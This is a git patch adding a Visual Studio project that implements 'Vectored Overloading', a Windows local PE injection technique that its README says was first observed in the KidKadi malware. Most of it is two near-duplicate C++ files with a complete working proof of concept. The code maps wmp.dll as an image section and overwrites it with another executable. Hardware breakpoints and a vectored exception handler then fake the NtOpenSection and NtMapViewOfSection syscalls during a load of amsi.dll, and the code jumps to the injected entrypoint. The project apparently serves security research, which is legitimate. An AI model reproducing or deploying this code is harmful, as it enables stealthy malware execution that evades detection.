From 40950b7b54b7406a328b341a894bf0a54fd0fa70 Mon Sep 17 00:00:00 2001 From: chkp-elism Date: Tue, 11 Nov 2025 09:48:50 +0200 Subject: [PATCH] Add files via upload --- README.md | 19 ++ VectoredOverloading.cpp | 359 ++++++++++++++++++++++++++++ VectoredOverloading.sln | 31 +++ VectoredOverloading.vcxproj | 131 ++++++++++ VectoredOverloading.vcxproj.filters | 22 ++ VectoredOverloading.vcxproj.user | 4 + main.cpp | 353 +++++++++++++++++++++++++++ 7 files changed, 919 insertions(+) create mode 100644 README.md create mode 100644 VectoredOverloading.cpp create mode 100644 VectoredOverloading.sln create mode 100644 VectoredOverloading.vcxproj create mode 100644 VectoredOverloading.vcxproj.filters create mode 100644 VectoredOverloading.vcxproj.user create mode 100644 main.cpp diff --git a/README.md b/README.md new file mode 100644 index 0000000..8a9b15a --- /dev/null +++ b/README.md @@ -0,0 +1,19 @@ +# VectoredOverloading + +Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware. + +It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly. + +Essentially, the technique does the following: + +* Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`) +* Maps a payload PE over this image memory +* Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field +* Sets a HWBP on `NtOpenSection` & loads any legitimate DLL +* When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection` +* The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection` +* The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view +* The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image +* The entrypoint is invoked, executing the payload + +For a more detailed analysis, please refer to our blogpost: diff --git a/VectoredOverloading.cpp b/VectoredOverloading.cpp new file mode 100644 index 0000000..9ba377f --- /dev/null +++ b/VectoredOverloading.cpp @@ -0,0 +1,359 @@ +#include +#include +#include +#include + +#if defined(_WIN32) && !defined(_WIN64) +#error This project must be compiled as 64-bit (x64). 32-bit build is not supported. +#endif + +#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) +#define DR_TYPE UINT64 + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#pragma comment(lib, "ntdll.lib") + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI +NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( + HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect +); + +enum LdrState +{ + StateOpenSection = 0, + StateMapViewOfSection, + StateClose +}; + +// --------------------------------------------------------------------------------------------------- + +LdrState gLdrState = LdrState::StateOpenSection; +SIZE_T gViewSize = 0; +PVOID gBaseAddress = NULL; +HANDLE gSectionHandle = NULL; + +BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) +{ + if (ctx) + { + ctx->Dr7 = 1LL; + ctx->Dr0 = (DWORD64)address; + NtContinue(ctx, FALSE); + } + else + { + // Default to current thread if no context was given + CONTEXT context = { 0 }; + context.ContextFlags = CTX_FLAGS; + + HANDLE hThread = GetCurrentThread(); + + if (!GetThreadContext(hThread, &context)) + return FALSE; + + context.Dr7 = 1; + context.Dr0 = (DWORD64)address; + + if (!SetThreadContext(hThread, &context)) + return FALSE; + } + return TRUE; +} + +LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) +{ + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + CONTEXT* ctx = ExceptionInfo->ContextRecord; + + switch (gLdrState) + { + case LdrState::StateOpenSection: + { + printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); + + // Overwrite OUT handle + *(PHANDLE)ctx->Rcx = gSectionHandle; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Advance state and set next HWBP + gLdrState = LdrState::StateMapViewOfSection; + SetHardwareBreakpoint(NtMapViewOfSection, ctx); + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } + break; + + case LdrState::StateMapViewOfSection: + { + printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); + if ((HANDLE)ctx->Rcx != gSectionHandle) + return EXCEPTION_CONTINUE_EXECUTION; + printf(" Section handle is ours\r\n"); + + // Replace OUT parameters + PVOID* baseAddrPtr = (PVOID*)ctx->R8; + PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); + ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); + ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); + + if (baseAddrPtr) + *baseAddrPtr = gBaseAddress; + if (viewSizePtr) + *viewSizePtr = gViewSize; + + *allocTypePtr = 0; + *protectPtr = PAGE_EXECUTE_READWRITE; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Unset HWBP + ctx->Dr0 = 0LL; + ctx->Dr1 = 0LL; + ctx->Dr2 = 0LL; + ctx->Dr3 = 0LL; + ctx->Dr6 = 0LL; + ctx->Dr7 = 0LL; + ctx->EFlags |= 0x10000u; + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + break; + } + } + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } +} + +BOOL +ApplyRelocations( + PBYTE base, + SIZE_T imageSize, + ULONGLONG newBase, + ULONGLONG oldBase +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + + ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; + if (!delta) + return TRUE; + + IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!relocDir.VirtualAddress || !relocDir.Size) + return TRUE; + + SIZE_T processed = 0; + PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); + + while (processed < relocDir.Size && block->SizeOfBlock) + { + DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++, entry++) + { + WORD type = *entry >> 12; + WORD offset = *entry & 0xFFF; + BYTE* patchAddr = base + block->VirtualAddress + offset; + + if (type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)patchAddr += (DWORD)delta; + else if (type == IMAGE_REL_BASED_DIR64) + *(ULONGLONG*)patchAddr += delta; + } + processed += block->SizeOfBlock; + block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); + } + return TRUE; +} + +BOOL +CopyImageSections( + PBYTE sourceBuffer, + PVOID baseAddress, + SIZE_T viewSize +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); + + // Copy headers + SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; + memcpy(baseAddress, sourceBuffer, headersSize); + + // Copy sections + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + if (sec->SizeOfRawData == 0) + continue; + + BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; + BYTE* src = sourceBuffer + sec->PointerToRawData; + SIZE_T size = sec->SizeOfRawData; + + if ((sec->VirtualAddress + size) > viewSize) + size = viewSize - sec->VirtualAddress; + + memcpy(dst, src, size); + } + return TRUE; +} + +BOOL +ApplySectionProtections( + PVOID baseAddress +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + DWORD protect; + DWORD old; + + if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_EXECUTE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_EXECUTE_READ; + else + protect = PAGE_EXECUTE; + } + else + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_READONLY; + else + protect = PAGE_NOACCESS; + } + + PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; + SIZE_T size = sec->Misc.VirtualSize; + if (!size) + size = sec->SizeOfRawData; + + VirtualProtect(addr, size, protect, &old); + } + return TRUE; +} + +int +main() +{ + DWORD oldProt; + DWORD bytesRead; + + // Read PE to inject (calc.exe) into buffer + HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hCalc == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open calc.exe\n"); + return 1; + } + DWORD fileSize = GetFileSize(hCalc, NULL); + BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); + ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); + CloseHandle(hCalc); + + // Parse headers of PE to inject + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); + + // Force DLL characteristics and zero out entrypoint + DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; + if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) + { + nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; + nt->OptionalHeader.AddressOfEntryPoint = 0; + } + + // Create SEC_IMAGE section from wmp.dll + HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hWmp == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open wmp.dll\n"); + return 1; + } + + NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); + CloseHandle(hWmp); + if (status < 0) + { + printf("[-] NtCreateSection failed: 0x%08X\n", status); + return 1; + } + + status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); + if (status < 0) + { + printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); + return 1; + } + + // Make headers and image of wmp.dll writeable and wipe it + VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); + memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); + + // Copy headers and sections from PE to inject into the section + CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); + HeapFree(GetProcessHeap(), 0, pTargetPeBuf); + + // Apply relocations & section protections + ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); + ApplySectionProtections(gBaseAddress); + + printf("[*] Section ready:\n"); + printf(" BaseAddress = %p\n", gBaseAddress); + printf(" ViewSize = %zu\n", gViewSize); + printf(" Section = %p\n", gSectionHandle); + + // Register VEH and set HWBP + PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); + SetHardwareBreakpoint(NtOpenSection, NULL); + + // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow + HMODULE base = LoadLibraryW(L"amsi.dll"); + if (!base) + { + printf("[-] Failed to load library\n"); + return 1; + } + printf("[*] Loaded at 0x%llx\r\n", base); + RemoveVectoredExceptionHandler(InjectHandler); + + // Invoke entrypoint + PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; + printf("[*] Jumping to entrypoint at %p\n", entryPoint); + ((void (*)())entryPoint)(); + return 0; +} \ No newline at end of file diff --git a/VectoredOverloading.sln b/VectoredOverloading.sln new file mode 100644 index 0000000..24beef3 --- /dev/null +++ b/VectoredOverloading.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36429.23 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60} + EndGlobalSection +EndGlobal diff --git a/VectoredOverloading.vcxproj b/VectoredOverloading.vcxproj new file mode 100644 index 0000000..a2e5abf --- /dev/null +++ b/VectoredOverloading.vcxproj @@ -0,0 +1,131 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1} + VectoredOverloading + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + + + \ No newline at end of file diff --git a/VectoredOverloading.vcxproj.filters b/VectoredOverloading.vcxproj.filters new file mode 100644 index 0000000..56d4d70 --- /dev/null +++ b/VectoredOverloading.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/VectoredOverloading.vcxproj.user b/VectoredOverloading.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/VectoredOverloading.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..c0da374 --- /dev/null +++ b/main.cpp @@ -0,0 +1,353 @@ +#include +#include +#include +#include + +#if defined(_WIN32) && !defined(_WIN64) +#error This project must be compiled as 64-bit (x64). 32-bit build is not supported. +#endif + +#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) +#define DR_TYPE UINT64 + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#pragma comment(lib, "ntdll.lib") + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + +enum LdrState +{ + StateOpenSection = 0, + StateMapViewOfSection, + StateClose +}; + +// --------------------------------------------------------------------------------------------------- + +LdrState gLdrState = LdrState::StateOpenSection; +SIZE_T gViewSize = 0; +PVOID gBaseAddress = NULL; +HANDLE gSectionHandle = NULL; + +BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) +{ + if (ctx) + { + ctx->Dr7 = 1LL; + ctx->Dr0 = (DWORD64)address; + NtContinue(ctx, FALSE); + } + else + { + // Default to current thread if no context was given + CONTEXT context = { 0 }; + context.ContextFlags = CTX_FLAGS; + + HANDLE hThread = GetCurrentThread(); + + if (!GetThreadContext(hThread, &context)) + return FALSE; + + context.Dr7 = 1; + context.Dr0 = (DWORD64)address; + + if (!SetThreadContext(hThread, &context)) + return FALSE; + } + return TRUE; +} + +LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) +{ + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + CONTEXT* ctx = ExceptionInfo->ContextRecord; + + switch (gLdrState) + { + case LdrState::StateOpenSection: + { + printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); + + // Overwrite OUT handle + *(PHANDLE)ctx->Rcx = gSectionHandle; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Advance state and set next HWBP + gLdrState = LdrState::StateMapViewOfSection; + SetHardwareBreakpoint(NtMapViewOfSection, ctx); + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } + break; + + case LdrState::StateMapViewOfSection: + { + printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); + if ((HANDLE)ctx->Rcx != gSectionHandle) + return EXCEPTION_CONTINUE_EXECUTION; + printf(" Section handle is ours\r\n"); + + // Replace OUT parameters + PVOID* baseAddrPtr = (PVOID*)ctx->R8; + PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); + ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); + ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); + + if (baseAddrPtr) + *baseAddrPtr = gBaseAddress; + if (viewSizePtr) + *viewSizePtr = gViewSize; + + *allocTypePtr = 0; + *protectPtr = PAGE_EXECUTE_READWRITE; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Unset HWBP + ctx->Dr0 = 0LL; + ctx->Dr1 = 0LL; + ctx->Dr2 = 0LL; + ctx->Dr3 = 0LL; + ctx->Dr6 = 0LL; + ctx->Dr7 = 0LL; + ctx->EFlags |= 0x10000u; + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + break; + } + } + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } +} + +BOOL +ApplyRelocations( + PBYTE base, + SIZE_T imageSize, + ULONGLONG newBase, + ULONGLONG oldBase +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + + ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; + if (!delta) + return TRUE; + + IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!relocDir.VirtualAddress || !relocDir.Size) + return TRUE; + + SIZE_T processed = 0; + PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); + + while (processed < relocDir.Size && block->SizeOfBlock) + { + DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++, entry++) + { + WORD type = *entry >> 12; + WORD offset = *entry & 0xFFF; + BYTE* patchAddr = base + block->VirtualAddress + offset; + + if (type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)patchAddr += (DWORD)delta; + else if (type == IMAGE_REL_BASED_DIR64) + *(ULONGLONG*)patchAddr += delta; + } + processed += block->SizeOfBlock; + block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); + } + return TRUE; +} + +BOOL +CopyImageSections( + PBYTE sourceBuffer, + PVOID baseAddress, + SIZE_T viewSize +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); + + // Copy headers + SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; + memcpy(baseAddress, sourceBuffer, headersSize); + + // Copy sections + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + if (sec->SizeOfRawData == 0) + continue; + + BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; + BYTE* src = sourceBuffer + sec->PointerToRawData; + SIZE_T size = sec->SizeOfRawData; + + if ((sec->VirtualAddress + size) > viewSize) + size = viewSize - sec->VirtualAddress; + + memcpy(dst, src, size); + } + return TRUE; +} + +BOOL +ApplySectionProtections( + PVOID baseAddress +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + DWORD protect; + DWORD old; + + if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_EXECUTE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_EXECUTE_READ; + else + protect = PAGE_EXECUTE; + } + else + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_READONLY; + else + protect = PAGE_NOACCESS; + } + + PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; + SIZE_T size = sec->Misc.VirtualSize; + if (!size) + size = sec->SizeOfRawData; + + VirtualProtect(addr, size, protect, &old); + } + return TRUE; +} + +int +main() +{ + DWORD oldProt; + DWORD bytesRead; + + // Read PE to inject (calc.exe) into buffer + HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hCalc == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open calc.exe\n"); + return 1; + } + DWORD fileSize = GetFileSize(hCalc, NULL); + BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); + ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); + CloseHandle(hCalc); + + // Parse headers of PE to inject + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); + + // Force DLL characteristics and zero out entrypoint + DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; + if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) + { + nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; + nt->OptionalHeader.AddressOfEntryPoint = 0; + } + + // Create SEC_IMAGE section from wmp.dll + HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hWmp == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open wmp.dll\n"); + return 1; + } + + NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); + CloseHandle(hWmp); + if (status < 0) + { + printf("[-] NtCreateSection failed: 0x%08X\n", status); + return 1; + } + + status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); + if (status < 0) + { + printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); + return 1; + } + + // Make headers and image of wmp.dll writeable and wipe it + VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); + memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); + + // Copy headers and sections from PE to inject into the section + CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); + HeapFree(GetProcessHeap(), 0, pTargetPeBuf); + + // Apply relocations & section protections + ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); + ApplySectionProtections(gBaseAddress); + + printf("[*] Section ready:\n"); + printf(" BaseAddress = %p\n", gBaseAddress); + printf(" ViewSize = %zu\n", gViewSize); + printf(" Section = %p\n", gSectionHandle); + + // Register VEH and set HWBP + PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); + SetHardwareBreakpoint(NtOpenSection, NULL); + + // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow + HMODULE base = LoadLibraryW(L"amsi.dll"); + if (!base) + { + printf("[-] Failed to load library\n"); + return 1; + } + printf("[*] Loaded at 0x%llx\r\n", base); + RemoveVectoredExceptionHandler(InjectHandler); + + // Invoke entrypoint + PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; + printf("[*] Jumping to entrypoint at %p\n", entryPoint); + ((void (*)())entryPoint)(); + return 0; +} \ No newline at end of file